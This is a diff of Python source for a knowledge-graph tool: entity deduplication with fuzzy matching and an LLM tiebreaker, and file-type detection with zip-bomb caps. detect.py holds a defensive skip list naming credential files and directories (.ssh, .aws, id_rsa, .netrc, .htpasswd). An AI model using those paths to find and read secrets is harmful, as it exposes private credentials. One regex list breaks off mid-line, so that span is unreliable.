m.update(shingle.encode("utf-8")) + return m + + +# Matches labels whose trailing token is a version/variant suffix: +# digits optionally followed by letters (chip SKUs: ASR1603, M1, Cortex-A55) +# or 2+ letters (codename revisions: cranelr vs cranel). +# Requires the stem to end in a letter so plain words don't accidentally match. +_VARIANT_SUFFIX = re.compile(r"^(.*[a-z])([0-9]+[a-z]*|[a-z]{2,})$") + + +def _is_variant_pair(a: str, b: str) -> bool: + """True if a and b are sibling model/SKU variants (same stem, different suffix). + + Only applied to short labels (< 12 chars); long labels go through JW normally. + """ + if a == b: + return False + if max(len(a), len(b)) >= 12: + return False + ma, mb = _VARIANT_SUFFIX.match(a), _VARIANT_SUFFIX.match(b) + if not (ma and mb): + return False + return ma.group(1) == mb.group(1) and ma.group(2) != mb.group(2) + + +def _short_label_blocked(a: str, b: str, jw_score: float) -> bool: + """Block fuzzy merge for short labels unless it's a same-length single-char substitution. + + Insertions/deletions on short strings (cranel/cranelr, M1/M1 Pro) produce + high Jaro-Winkler scores due to the prefix bonus but are almost never true + duplicates — they're abbreviations or variants. + """ + if max(len(a), len(b)) >= 12: + return False + from rapidfuzz.distance import DamerauLevenshtein + # Allow only same-length single-char substitutions (true typos like "Extractor"/"Extractar"). + # Block length-differing pairs regardless of score. + if jw_score >= 97.0 and len(a) == len(b) and DamerauLevenshtein.distance(a, b) <= 1: + return False + return True + + +# ── union-find ──────────────────────────────────────────────────────────────── + +class _UF: + def __init__(self) -> None: + self._parent: dict[str, str] = {} + + def find(self, x: str) -> str: + self._parent.setdefault(x, x) + while self._parent[x] != x: + self._parent[x] = self._parent[self._parent[x]] + x = self._parent[x] + return x + + def union(self, x: str, y: str) -> None: + self._parent.setdefault(x, x) + self._parent.setdefault(y, y) + rx, ry = self.find(x), self.find(y) + if rx != ry: + self._parent[ry] = rx + + def components(self) -> dict[str, list[str]]: + groups: dict[str, list[str]] = defaultdict(list) + for x in self._parent: + groups[self.find(x)].append(x) + return dict(groups) + + +# ── constants ───────────────────────────────────────────────────────────────── + +_ENTROPY_THRESHOLD = 2.5 +_LSH_THRESHOLD = 0.7 +_MERGE_THRESHOLD = 92.0 # rapidfuzz normalized_similarity * 100 +_COMMUNITY_BOOST = 5.0 # score bonus when both nodes share community +_NUM_PERM = 128 +_CHUNK_SUFFIX = re.compile(r"_c\d+$") + + +# ── main entry point ────────────────────────────────────────────────────────── + +def deduplicate_entities( + nodes: list[dict], + edges: list[dict], + *, + communities: dict[str, int], + dedup_llm_backend: str | None = None, +) -> tuple[list[dict], list[dict]]: + """Deduplicate near-identical entities in a knowledge graph. + + Args: + nodes: list of node dicts with at minimum {"id": str, "label": str} + edges: list of edge dicts with {"source": str, "target": str, ...} + communities: mapping of node_id -> community_id (from cluster()) + dedup_llm_backend: if set, use LLM to resolve ambiguous pairs + + Returns: + (deduped_nodes, deduped_edges) with edges rewired to survivors + """ + # Guard: cross-project dedup is not supported — nodes from different repos + # share label names by coincidence and must never be merged by string similarity. + # If you need to dedup a global graph, run deduplicate_entities per-repo first. + repos_seen = {n.get("repo") for n in nodes if n.get("repo")} + if len(repos_seen) > 1: + raise ValueError( + f"deduplicate_entities: nodes span multiple repos {sorted(repos_seen)!r}. " + f"Cross-project dedup is disabled — run dedup per-repo before merging." + ) + + if len(nodes) <= 1: + return nodes, edges + + # Pre-deduplicate: keep first occurrence of each id + seen_ids: dict[str, dict] = {} + for node in nodes: + nid = node.get("id", "") + if nid and nid not in seen_ids: + seen_ids[nid] = node + unique_nodes = list(seen_ids.values()) + + if len(unique_nodes) <= 1: + return unique_nodes, edges + + # ── pass 1: exact normalization ─────────────────────────────────────────── + norm_to_nodes: dict[str, list[dict]] = defaultdict(list) + for node in unique_nodes: + key = _norm(node.get("label", node.get("id", ""))) + if key: + norm_to_nodes[key].append(node) + + uf = _UF() + exact_merges = 0 + for key, group in norm_to_nodes.items(): + if len(group) <= 1: + continue + # Partition by source_file — only merge within the same file in Pass 1. + # Cross-file matches fall through to Pass 2 fuzzy matching. + by_file: dict[str, list[dict]] = defaultdict(list) + for node in group: + sf = node.get("source_file") or "" + by_file[sf].append(node) + for sf, file_group in by_file.items(): + if not sf: + # No source_file — cannot prove same symbol; skip to avoid + # collapsing distinct nodes that happen to share a label (#1178). + continue + if len(file_group) > 1: + winner = _pick_winner(file_group) + for node in file_group: + uf.union(winner["id"], node["id"]) + exact_merges += len(file_group) - 1 + + # ── pass 2: MinHash/LSH + Jaro-Winkler (high-entropy nodes only) ───────── + candidates: list[dict] = [] + seen_norms: set[str] = set() + for node in unique_nodes: + key = _norm(node.get("label", node.get("id", ""))) + if key and key not in seen_norms: + seen_norms.add(key) + if _entropy(node.get("label", "")) >= _ENTROPY_THRESHOLD: + candidates.append(node) + + fuzzy_merges = 0 + if len(candidates) >= 2: + lsh = MinHashLSH(threshold=_LSH_THRESHOLD, num_perm=_NUM_PERM) + minhashes: dict[str, MinHash] = {} + + for node in candidates: + norm_label = _norm(node.get("label", node.get("id", ""))) + m = _make_minhash(norm_label) + minhashes[node["id"]] = m + try: + lsh.insert(node["id"], m) + except ValueError: + pass # duplicate key in LSH — already inserted + + for node in candidates: + node_id = node["id"] + norm_label = _norm(node.get("label", node.get("id", ""))) + neighbors = lsh.query(minhashes[node_id]) + + for neighbor_id in neighbors: + if neighbor_id == node_id: + continue + if uf.find(node_id) == uf.find(neighbor_id): + continue + + neighbor = next((n for n in candidates if n["id"] == neighbor_id), None) + if neighbor is None: + continue + + neighbor_norm = _norm(neighbor.get("label", neighbor.get("id", ""))) + score = JaroWinkler.normalized_similarity(norm_label, neighbor_norm) * 100 + + if _is_variant_pair(norm_label, neighbor_norm): + continue + if _short_label_blocked(norm_label, neighbor_norm, score): + continue + + c1 = communities.get(node_id) + c2 = communities.get(neighbor_id) + if (c1 is not None and c2 is not None and c1 == c2 + and min(len(norm_label), len(neighbor_norm)) >= 12): + score += _COMMUNITY_BOOST + + if score >= _MERGE_THRESHOLD: + # Identical labels across different source files almost always + # means same-named-but-different symbols (trait impls, wrapper + # methods, common type names). Mirror Pass 1's source_file + # partition for this sub-case. (#1046, leaks #895's fix) + if norm_label == neighbor_norm: + sf_a = node.get("source_file") or "" + sf_b = neighbor.get("source_file") or "" + if sf_a != sf_b: + continue + all_group = norm_to_nodes.get(norm_label, [node]) + \ + norm_to_nodes.get(neighbor_norm, [neighbor]) + winner = _pick_winner(all_group) + uf.union(winner["id"], node_id) + uf.union(winner["id"], neighbor_id) + fuzzy_merges += 1 + + # ── pass 3: LLM tiebreaker for ambiguous pairs (opt-in) ────────────────── + if dedup_llm_backend is not None: + _llm_tiebreak(candidates, uf, communities, backend=dedup_llm_backend) + + # ── build remap table from union-find components ────────────────────────── + components = uf.components() + remap: dict[str, str] = {} + + for root, members in components.items(): + if len(members) == 1: + continue + group_nodes = [n for n in unique_nodes if n["id"] in members] + winner = _pick_winner(group_nodes) if group_nodes else {"id": root} + winner_id = winner["id"] + for member in members: + if member != winner_id: + remap[member] = winner_id + + # ── apply remap ─────────────────────────────────────────────────────────── + if not remap: + return unique_nodes, edges + + total = len(remap) + msg = f"[graphify] Deduplicated {total} node(s)" + if exact_merges: + msg += f" ({exact_merges} exact" + if fuzzy_merges: + msg += f", {fuzzy_merges} fuzzy" + msg += ")" + print(msg + ".", flush=True) + + deduped_nodes = [n for n in unique_nodes if n["id"] not in remap] + deduped_edges = [] + for edge in edges: + e = dict(edge) + # Tolerate "from"/"to" keys from LLM backends that don't follow the + # schema exactly — build_from_json normalises later but dedup runs + # first so bracket access would KeyError here (#803). + # Use explicit key presence check (not `or`) so empty-string src/tgt + # aren't silently replaced by the fallback key. + src = e["source"] if "source" in e else e.get("from") + tgt = e["target"] if "target" in e else e.get("to") + if src is None or tgt is None: + continue + e["source"] = remap.get(src, src) + e["target"] = remap.get(tgt, tgt) + # Remove legacy keys so they don't leak into edge attrs in graph.json. + e.pop("from", None) + e.pop("to", None) + if e["source"] != e["target"]: + deduped_edges.append(e) + + return deduped_nodes, deduped_edges + + +def _pick_winner(nodes: list[dict]) -> dict: + """Pick the canonical survivor: prefer no chunk suffix, then shorter ID.""" + if not nodes: + raise ValueError("Cannot pick winner from empty list") + + def _score(n: dict) -> tuple[int, int]: + has_suffix = bool(_CHUNK_SUFFIX.search(n["id"])) + return (1 if has_suffix else 0, len(n["id"])) + + return min(nodes, key=_score) + + +def _llm_tiebreak( + candidates: list[dict], + uf: _UF, + communities: dict[str, int], + *, + backend: str, + batch_size: int = 30, + low: float = 75.0, + high: float = 92.0, +) -> None: + """Batch-resolve ambiguous pairs (score in [low, high)) via LLM.""" + try: + from graphify.llm import BACKENDS, _format_backend_env_keys, _get_backend_api_key + if backend not in BACKENDS: + print(f"[graphify] --dedup-llm: unknown backend {backend!r}, skipping LLM tiebreaker.", flush=True) + return + if not _get_backend_api_key(backend): + env_keys = _format_backend_env_keys(backend) + print(f"[graphify] --dedup-llm: {env_keys} not set, skipping LLM tiebreaker.", flush=True) + return + except ImportError: + return + + ambiguous: list[tuple[dict, dict, float]] = [] + for i, node in enumerate(candidates): + norm_i = _norm(node.get("label", node.get("id", ""))) + for j in range(i + 1, len(candidates)): + neighbor = candidates[j] + if uf.find(node["id"]) == uf.find(neighbor["id"]): + continue + norm_j = _norm(neighbor.get("label", neighbor.get("id", ""))) + score = JaroWinkler.normalized_similarity(norm_i, norm_j) * 100 + if _is_variant_pair(norm_i, norm_j): + continue + if _short_label_blocked(norm_i, norm_j, score): + continue + c1 = communities.get(node["id"]) + c2 = communities.get(neighbor["id"]) + if (c1 is not None and c2 is not None and c1 == c2 + and min(len(norm_i), len(norm_j)) >= 12): + score += _COMMUNITY_BOOST + if low <= score < high: + ambiguous.append((node, neighbor, score)) + + if not ambiguous: + return + + try: + from graphify.llm import _call_llm + except ImportError as exc: + # F-038: previously this silent fallback hid the fact that `_call_llm` + # didn't exist in `graphify.llm` at all, so `--dedup-llm` was a no-op. + # Surface the import failure so future regressions are visible. + print( + f"[graphify] --dedup-llm: cannot import _call_llm ({exc}); skipping LLM tiebreaker.", + flush=True, + ) + return + + for batch_start in range(0, len(ambiguous), batch_size): + batch = ambiguous[batch_start : batch_start + batch_size] + pairs_text = "\n".join( + f"{i+1}. \"{a['label']}\" vs \"{b['label']}\"" + for i, (a, b, _) in enumerate(batch) + ) + prompt = ( + "For each pair below, answer only 'yes' or 'no': are they the same real-world concept?\n\n" + f"{pairs_text}\n\n" + "Reply with one line per pair: '1. yes', '2. no', etc." + ) + try: + response = _call_llm(prompt, backend=backend, max_tokens=200) + lines = response.strip().splitlines() + for line in lines: + line = line.strip() + if not line: + continue + parts = line.split(".", 1) + if len(parts) != 2: + continue + try: + idx = int(parts[0].strip()) - 1 + except ValueError: + continue + if 0 <= idx < len(batch): + answer = parts[1].strip().lower() + if answer.startswith("yes"): + a, b, _ = batch[idx] + winner = _pick_winner([a, b]) + uf.union(winner["id"], a["id"]) + uf.union(winner["id"], b["id"]) + except Exception as exc: + print(f"[graphify] --dedup-llm batch failed: {exc}", flush=True) diff --git a/skills/graphify/detect.py b/skills/graphify/detect.py new file mode 100644 index 00000000..2eff3f80 --- /dev/null +++ b/skills/graphify/detect.py @@ -0,0 +1,1379 @@ +# file discovery, type classification, and corpus health checks +from __future__ import annotations +import fnmatch +import json +import os +import re +import shlex +from enum import Enum +from pathlib import Path + +from graphify.google_workspace import ( + GOOGLE_WORKSPACE_EXTENSIONS, + convert_google_workspace_file, + google_workspace_enabled, +) + + +class FileType(str, Enum): + CODE = "code" + DOCUMENT = "document" + PAPER = "paper" + IMAGE = "image" + VIDEO = "video" + + +_MANIFEST_PATH = "graphify-out/manifest.json" + +CODE_EXTENSIONS = {'.py', '.ts', '.tsx', '.js', '.jsx', '.mjs', '.ejs', '.ets', '.go', '.rs', '.java', '.groovy', '.gradle', '.cpp', '.cc', '.cxx', '.c', '.h', '.hpp', '.rb', '.swift', '.kt', '.kts', '.cs', '.scala', '.php', '.lua', '.luau', '.toc', '.zig', '.ps1', '.ex', '.exs', '.m', '.mm', '.jl', '.vue', '.svelte', '.astro', '.dart', '.v', '.sv', '.svh', '.sql', '.r', '.f', '.F', '.f90', '.F90', '.f95', '.F95', '.f03', '.F03', '.f08', '.F08', '.pas', '.pp', '.dpr', '.dpk', '.lpr', '.inc', '.dfm', '.lfm', '.lpk', '.sh', '.bash', '.json', '.tf', '.tfvars', '.hcl', '.dm', '.dme', '.dmi', '.dmm', '.dmf', '.sln', '.csproj', '.fsproj', '.vbproj', '.razor', '.cshtml', '.cls', '.trigger'} +DOC_EXTENSIONS = {'.md', '.mdx', '.qmd', '.txt', '.rst', '.html', '.yaml', '.yml'} +PAPER_EXTENSIONS = {'.pdf'} +IMAGE_EXTENSIONS = {'.png', '.jpg', '.jpeg', '.gif', '.webp', '.svg'} +OFFICE_EXTENSIONS = {'.docx', '.xlsx'} +VIDEO_EXTENSIONS = {'.mp4', '.mov', '.webm', '.mkv', '.avi', '.m4v', '.mp3', '.wav', '.m4a', '.ogg'} + +CORPUS_WARN_THRESHOLD = 50_000 # words - below this, warn "you may not need a graph" +CORPUS_UPPER_THRESHOLD = 500_000 # words - above this, warn about token cost +FILE_COUNT_UPPER = 500 # files - above this, warn about token cost + +# Resource caps for parsing untrusted office/PDF files (F2). A corpus is +# attacker-controllable (graphify runs on cloned/shared folders), and .docx/.xlsx +# are zip+XML containers: a few-KB zip-bomb can decompress to gigabytes and +# OOM-kill the process at load_workbook/Document time. Screen the file before any +# parser touches it. +_OFFICE_MAX_RAW_BYTES = 50 * 1024 * 1024 # 50 MiB on-disk +_OFFICE_MAX_DECOMPRESSED_BYTES = 512 * 1024 * 1024 # 512 MiB total uncompressed +_OFFICE_MAX_COMPRESSION_RATIO = 200 # uncompressed : compressed + + +def _file_within_size_cap(path: Path, cap: int = _OFFICE_MAX_RAW_BYTES) -> bool: + """True if *path* exists and its on-disk size is within *cap*.""" + try: + return path.stat().st_size <= cap + except OSError: + return False + + +def _zip_within_caps(path: Path) -> bool: + """Reject a zip-based office file that is a likely zip/XML bomb. + + Two layers, because the zip central-directory sizes are attacker-controlled: + 1. A cheap pre-filter on the declared sizes (on-disk cap, summed-uncompressed + cap, compression ratio) that rejects an honest bomb without decompressing. + 2. An authoritative pass that stream-decompresses every member with a hard + byte ceiling, so a member that under-declares its size in the central + directory cannot expand past the cap undetected. Decompression is chunked + and bounded, so checking a bomb never materializes more than the ceiling. + """ + import zipfile + if not _file_within_size_cap(path): + return False + try: + with zipfile.ZipFile(path) as zf: + infos = zf.infolist() + compressed = sum(i.compress_size for i in infos) or 1 + declared = sum(i.file_size for i in infos) + if declared > _OFFICE_MAX_DECOMPRESSED_BYTES: + return False + if declared / compressed > _OFFICE_MAX_COMPRESSION_RATIO: + return False + total = 0 + for info in infos: + with zf.open(info) as member: + while True: + chunk = member.read(1024 * 1024) + if not chunk: + break + total += len(chunk) + if total > _OFFICE_MAX_DECOMPRESSED_BYTES: + return False + except (zipfile.BadZipFile, OSError, EOFError): + return False + return True + +# Parent directories whose contents are always sensitive. +# Checked against path.parts[:-1] (parents only) so a root-level file named +# "credentials" or "secrets" is not falsely flagged by this stage. +_SENSITIVE_DIRS = frozenset({ + ".ssh", ".gnupg", ".aws", ".gcloud", "secrets", ".secrets", "credentials", +}) + +# Files that may contain secrets - skip silently. These patterns are specific +# (extensions, exact credential-store names) and always apply. +_SENSITIVE_PATTERNS = [ + re.compile(r'(^|[\\/])\.(env|envrc)(\.|$)', re.IGNORECASE), + re.compile(r'\.(pem|key|p12|pfx|cert|crt|der|p8)$', re.IGNORECASE), + re.compile(r'(id_rsa|id_dsa|id_ecdsa|id_ed25519)(\.pub)?$'), + re.compile(r'(\.netrc|\.pgpass|\.htpasswd)$', re.IGNORECASE), + re.compile(r'(aws_credentials|gcloud_credentials|service.account)', re.IGNORECASE), +] + +# Generic keyword patterns - these only count when the keyword is LOAD-BEARING +# in the filename (see _generic_keyword_hit), because a keyword buried mid-phrase +# in a long descriptive slug names a topic, not a credential store: +# "token-economics-of-recall.md" is a note ABOUT tokens; "api_token.txt" IS one. +# Uses lookarounds instead of \b so underscore-prefixed names like api_token.txt +# match. Both patterns use (?![a-zA-Z]) so that the trailing-underscore behavior +# is consistent: "secret_store.txt" IS flagged, "tokenizer.py" is NOT (because +# "i" after "token" is alpha and blocks the match). +# `token` is kept separate because its longer suffix "izer"/"ize" is the only +# common false-positive; other keywords have no such well-known derivatives. +_GENERIC_KEYWORD_PATTERNS = [ + re.compile(r'(? bool: + """True if a generic secret keyword appears load-bearing in the filename. + + Secret-store files name their contents, and in English compounds the + content noun is the head, which comes last: "github-personal-access-token", + "api_token", "oauth_token". A keyword that is neither at the end of the + stem nor in a short (<=2 word) name is a topic word in a descriptive slug + ("token-economics-of-recall.md", "password-policy-discussion.md") and must + not cause the file to be silently dropped from the graph (#436, #718). + """ + # Stem = name up to the first dot, ignoring leading dots so dotfiles like + # ".token" keep their keyword ("" stems would never match). + stem = name.lstrip('.').split('.')[0] + for pat in _GENERIC_KEYWORD_PATTERNS: + hit = False + for m in pat.finditer(stem): + hit = True + if m.end() == len(stem): # keyword ends the stem -> names the contents + return True + if hit and len([w for w in _WORD_SPLIT.split(stem) if w]) <= 2: + return True # short name like token_config.yaml / secret_handler.txt + return False + +# Signals that a .md/.txt file is actually a converted academic paper +_PAPER_SIGNALS = [ + re.compile(r'\barxiv\b', re.IGNORECASE), + re.compile(r'\bdoi\s*:', re.IGNORECASE), + re.compile(r'\babstract\b', re.IGNORECASE), + re.compile(r'\bproceedings\b', re.IGNORECASE), + re.compile(r'\bjournal\b', re.IGNORECASE), + re.compile(r'\bpreprint\b', re.IGNORECASE), + re.compile(r'\\cite\{'), # LaTeX citation + re.compile(r'\[\d+\]'), # Numbered citation [1], [23] (inline) + re.compile(r'\[\n\d+\n\]'), # Numbered citation spread across lines (markdown conversion) + re.compile(r'eq\.\s*\d+|equation\s+\d+', re.IGNORECASE), + re.compile(r'\d{4}\.\d{4,5}'), # arXiv ID like 1706.03762 + re.compile(r'\bwe propose\b', re.IGNORECASE), # common academic phrasing + re.compile(r'\bliterature\b', re.IGNORECASE), # "from the literature" +] +_PAPER_SIGNAL_THRESHOLD = 3 # need at least this many signals to call it a paper + + +def _is_sensitive(path: Path) -> bool: + """Return True if this file likely contains secrets and should be skipped.""" + # Stage 1: any PARENT directory is a known secrets dir (parts[:-1] excludes + # the filename itself so a root-level file named "credentials" is not falsely + # skipped — the name patterns in Stage 2 handle the filename). + if any(part in _SENSITIVE_DIRS for part in path.parts[:-1]): + return True + # Stage 2: filename pattern match + name = path.name + if any(p.search(name) for p in _SENSITIVE_PATTERNS): + return True + # Stage 3: generic keywords, only when load-bearing in the name + return _generic_keyword_hit(name) + + +def _looks_like_paper(path: Path) -> bool: + """Heuristic: does this text file read like an academic paper?""" + try: + # Only scan first 3000 chars for speed + text = path.read_text(encoding="utf-8", errors="ignore")[:3000] + hits = sum(1 for pattern in _PAPER_SIGNALS if pattern.search(text)) + return hits >= _PAPER_SIGNAL_THRESHOLD + except Exception: + return False + + +_ASSET_DIR_MARKERS = {".imageset", ".xcassets", ".appiconset", ".colorset", ".launchimage"} + + +_SHEBANG_CODE_INTERPRETERS = { + "python", "python3", "python2", + "ruby", "perl", "node", "nodejs", + "bash", "sh", "dash", "zsh", "fish", "ksh", "tcsh", + "lua", "php", "julia", "Rscript", +} + + +def _split_env_s(value: str, rest: list[str]) -> list[str]: + """Re-tokenize an `env -S`/`--split-string` packed command, prepending the + operand to any trailing args. Returns the unpacked argv.""" + packed = " ".join([value, *rest]).strip() + return shlex.split(packed) + + +def _env_command_args(args: list[str], *, allow_split: bool = True) -> list[str]: + """Strip leading env(1) options and var assignments, return the trailing + command argv. Covers macOS/BSD and GNU coreutils env documented spellings. + + POSIX/macOS short forms: + env [-0iv] [-C workdir] [-P utilpath] [-S string] + [-u name] [name=value ...] [utility [argument ...]] + + GNU coreutils long/compact forms additionally supported: + --argv0=ARG / -a ARG / -aARG + --unset=NAME / --unset NAME / -u NAME / -uNAME + --chdir=DIR / --chdir DIR / -C DIR / -CDIR + --split-string=STRING / --split-string STRING + -S STRING / -SSTRING / -vS STRING / -vSSTRING + --ignore-environment / --null / --debug / --list-signal-handling + --default-signal[=SIG] / --ignore-signal[=SIG] / --block-signal[=SIG] + + `-S` / `--split-string` payloads are themselves env-style argument lists + per the GNU shebang synopsis: + #!/usr/bin/env -[v]S[option]... [name=value]... command [args]... + so after splitting the payload we recursively re-parse it with + `allow_split=False` (a nested -S inside a split payload is rejected to + bound recursion). + + Unknown hyphen-prefixed args yield [] (we refuse to guess whether + their next token is an interpreter or an operand). + """ + i = 0 + while i < len(args): + arg = args[i] + + if arg == "--": + return args[i + 1:] + + # Split-string forms: tokenize the packed payload, then re-parse it + # as env args (so leading assignments/flags inside the payload are + # skipped before the interpreter is identified). + if allow_split: + if arg == "-S": + if i + 1 >= len(args): + return [] + return _env_command_args( + _split_env_s(" ".join(args[i + 1:]), []), + allow_split=False, + ) + if arg.startswith("-S") and len(arg) > 2: + return _env_command_args( + _split_env_s(arg[2:], args[i + 1:]), + allow_split=False, + ) + if arg == "-vS": + if i + 1 >= len(args): + return [] + return _env_command_args( + _split_env_s(" ".join(args[i + 1:]), []), + allow_split=False, + ) + if arg.startswith("-vS") and len(arg) > 3: + return _env_command_args( + _split_env_s(arg[3:], args[i + 1:]), + allow_split=False, + ) + if arg.startswith("--split-string="): + return _env_command_args( + _split_env_s(arg.split("=", 1)[1], args[i + 1:]), + allow_split=False, + ) + if arg == "--split-string": + if i + 1 >= len(args): + return [] + return _env_command_args( + _split_env_s(args[i + 1], args[i + 2:]), + allow_split=False, + ) + + # Options with separate required operand + if arg in {"-u", "-C", "-P", "-a", "--unset", "--chdir", "--argv0"}: + if i + 2 > len(args): + return [] + i += 2 + continue + + # Clumped short option + operand + if ( + arg.startswith(("-u", "-C", "-P", "-a")) + and len(arg) > 2 + and not arg.startswith("--") + ): + i += 1 + continue + + # Long option with `=` operand + if arg.startswith(("--unset=", "--chdir=", "--argv0=")): + i += 1 + continue + + # No-operand flags + if arg in {"-", "-i", "-0", "-v", "--ignore-environment", "--null", + "--debug", "--list-signal-handling"}: + i += 1 + continue + + # Signal-handling long flags (with or without =SIG operand — we treat + # them as no-effect for interpreter-resolution purposes) + if arg.startswith(("--default-signal", "--ignore-signal", "--block-signal")): + i += 1 + continue + + # Unknown hyphen-prefixed: refuse to guess + if arg.startswith("-"): + return [] + + # Inline NAME=value assignment + if "=" in arg: + i += 1 + continue + + # First non-option, non-assignment token starts the command argv + return args[i:] + + return [] + + +def _shebang_interpreter(path: Path) -> str | None: + """Return the interpreter name from a shebang line. + + Handles forms that a naive parser misses: + - `#!/usr/bin/env -S python3 -u` (env -S split-args form, anywhere) + - `#!/usr/bin/env -i bash` (no-operand env flags) + - `#!/usr/bin/env -u VAR python3` (env options with operands) + - `#!/usr/bin/env -C /tmp python3` (env -C workdir) + - `#!/usr/bin/env -P /bin python3` (env -P utilpath) + - `#!/usr/bin/env DEBUG=1 python3` (inline var assignment) + - `#!"/usr/local/bin/python with spaces"` (shlex handles quotes) + + Returns the basename of the resolved interpreter, or None if there is + no shebang / the file is unreadable / parsing fails. + """ + try: + with path.open("rb") as f: + first = f.read(256) + if not first.startswith(b"#!"): + return None + line = first.split(b"\n")[0].decode(errors="replace")[2:].strip() + parts = shlex.split(line) + if not parts: + return None + interp = Path(parts[0]).name + if interp == "env": + env_args = _env_command_args(parts[1:]) + if not env_args: + return None + interp = Path(env_args[0]).name + return interp + except (OSError, ValueError): + return None + + +def _shebang_file_type(path: Path) -> FileType | None: + """Peek at the first line of an extensionless file for a shebang.""" + interp = _shebang_interpreter(path) + if interp in _SHEBANG_CODE_INTERPRETERS: + return FileType.CODE + return None + + +def classify_file(path: Path) -> FileType | None: + # Compound extensions must be checked before simple suffix lookup + if path.name.lower().endswith(".blade.php"): + return FileType.CODE + ext = path.suffix.lower() + if not ext: + return _shebang_file_type(path) + if ext in CODE_EXTENSIONS: + return FileType.CODE + if ext in PAPER_EXTENSIONS: + # PDFs inside Xcode asset catalogs are vector icons, not papers + if any(part.endswith(tuple(_ASSET_DIR_MARKERS)) for part in path.parts): + return None + return FileType.PAPER + if ext in IMAGE_EXTENSIONS: + return FileType.IMAGE + if ext in DOC_EXTENSIONS: + # Check if it's a converted paper + if _looks_like_paper(path): + return FileType.PAPER + return FileType.DOCUMENT + if ext in OFFICE_EXTENSIONS: + return FileType.DOCUMENT + if ext in GOOGLE_WORKSPACE_EXTENSIONS: + return FileType.DOCUMENT + if ext in VIDEO_EXTENSIONS: + return FileType.VIDEO + return None + + +def extract_pdf_text(path: Path) -> str: + """Extract plain text from a PDF file using pypdf.""" + if not _file_within_size_cap(path): + return "" + try: + from pypdf import PdfReader + reader = PdfReader(str(path)) + pages = [] + for page in reader.pages: + text = page.extract_text() + if text: + pages.append(text) + return "\n".join(pages) + except Exception: + return "" + + +def docx_to_markdown(path: Path) -> str: + """Convert a .docx file to markdown text using python-docx.""" + if not _zip_within_caps(path): + return "" + try: + from docx import Document + from docx.oxml.ns import qn + doc = Document(str(path)) + lines = [] + for para in doc.paragraphs: + style = para.style.name if para.style else "" + text = para.text.strip() + if not text: + lines.append("") + continue + if style.startswith("Heading 1"): + lines.append(f"# {text}") + elif style.startswith("Heading 2"): + lines.append(f"## {text}") + elif style.startswith("Heading 3"): + lines.append(f"### {text}") + elif style.startswith("List"): + lines.append(f"- {text}") + else: + lines.append(text) + # Tables + for table in doc.tables: + rows = [[cell.text.strip() for cell in row.cells] for row in table.rows] + if not rows: + continue + header = "| " + " | ".join(rows[0]) + " |" + sep = "| " + " | ".join("---" for _ in rows[0]) + " |" + lines.extend([header, sep]) + for row in rows[1:]: + lines.append("| " + " | ".join(row) + " |") + return "\n".join(lines) + except ImportError: + return "" + except Exception: + return "" + + +def xlsx_to_markdown(path: Path) -> str: + """Convert an .xlsx file to markdown text using openpyxl.""" + if not _zip_within_caps(path): + return "" + try: + import openpyxl + wb = openpyxl.load_workbook(str(path), read_only=True, data_only=True) + sections = [] + for sheet_name in wb.sheetnames: + ws = wb[sheet_name] + rows = [] + for row in ws.iter_rows(values_only=True): + if all(cell is None for cell in row): + continue + rows.append([str(cell) if cell is not None else "" for cell in row]) + if not rows: + continue + sections.append(f"## Sheet: {sheet_name}") + if len(rows) >= 1: + header = "| " + " | ".join(rows[0]) + " |" + sep = "| " + " | ".join("---" for _ in rows[0]) + " |" + sections.extend([header, sep]) + for row in rows[1:]: + sections.append("| " + " | ".join(row) + " |") + wb.close() + return "\n".join(sections) + except ImportError: + return "" + except Exception: + return "" + + +def xlsx_extract_structure(path: Path) -> dict: + """Extract structural nodes (sheets, named tables, column headers) from an .xlsx file. + + Returns a nodes/edges dict compatible with the graphify extract pipeline. + Used in addition to xlsx_to_markdown so Claude sees both structure and content. + """ + def _nid(*parts: str) -> str: + return re.sub(r"[^a-z0-9_]", "_", "_".join(p.lower() for p in parts).strip("_")) + + try: + import openpyxl + except ImportError: + return {"nodes": [], "edges": []} + + try: + wb = openpyxl.load_workbook(str(path), read_only=False, data_only=True) + except Exception: + return {"nodes": [], "edges": []} + + # F-035: typo fix — was `_re.sub` (NameError, but unreachable because the + # whole xlsx codepath is currently behind a feature flag / not yet wired + # into the dispatcher). Before re-enabling this path, re-audit it for + # zip/XML bombs (openpyxl is built on top of zipfile and lxml-style XML + # parsing — a malicious .xlsx can blow up memory at load_workbook time). + stem = re.sub(r"[^a-z0-9]", "_", path.stem.lower()) + str_path = str(path) + file_nid = _nid(str_path) + nodes: list[dict] = [{"id": file_nid, "label": path.name, "file_type": "document", + "source_file": str_path, "source_location": None}] + edges: list[dict] = [] + seen: set[str] = {file_nid} + + def _add(nid: str, label: str) -> None: + if nid not in seen: + seen.add(nid) + nodes.append({"id": nid, "label": label, "file_type": "document", + "source_file": str_path, "source_location": None}) + + def _edge(src: str, tgt: str, relation: str) -> None: + edges.append({"source": src, "target": tgt, "relation": relation, + "confidence": "EXTRACTED", "source_file": str_path, + "source_location": None, "weight": 1.0}) + + for sheet_name in wb.sheetnames: + ws = wb[sheet_name] + sheet_nid = _nid(stem, sheet_name) + _add(sheet_nid, f"{sheet_name} (sheet)") + _edge(file_nid, sheet_nid, "contains") + + # Named Excel Tables (ListObjects) + if hasattr(ws, "tables"): + for tbl in ws.tables.values(): + tbl_nid = _nid(stem, sheet_name, tbl.name) + _add(tbl_nid, tbl.name) + _edge(sheet_nid, tbl_nid, "contains") + # Column headers from table header row + ref = tbl.ref # e.g. "A1:D10" + if ref: + try: + from openpyxl.utils import range_boundaries + min_col, min_row, max_col, _ = range_boundaries(ref) + header_row = list(ws.iter_rows(min_row=min_row, max_row=min_row, + min_col=min_col, max_col=max_col, + values_only=True)) + if header_row: + for col_name in header_row[0]: + if col_name: + col_nid = _nid(stem, tbl.name, str(col_name)) + _add(col_nid, str(col_name)) + _edge(tbl_nid, col_nid, "contains") + except Exception: + pass + else: + # Fallback: first non-empty row as column headers + for row in ws.iter_rows(max_row=1, values_only=True): + for cell in row: + if cell: + col_nid = _nid(stem, sheet_name, str(cell)) + _add(col_nid, str(cell)) + _edge(sheet_nid, col_nid, "contains") + break + + try: + wb.close() + except Exception: + pass + + return {"nodes": nodes, "edges": edges} + + +def convert_office_file(path: Path, out_dir: Path) -> Path | None: + """Convert a .docx or .xlsx to a markdown sidecar in out_dir. + + Returns the path of the converted .md file, or None if conversion failed + or the required library is not installed. + """ + ext = path.suffix.lower() + if ext == ".docx": + text = docx_to_markdown(path) + elif ext == ".xlsx": + text = xlsx_to_markdown(path) + else: + return None + + if not text.strip(): + return None + + 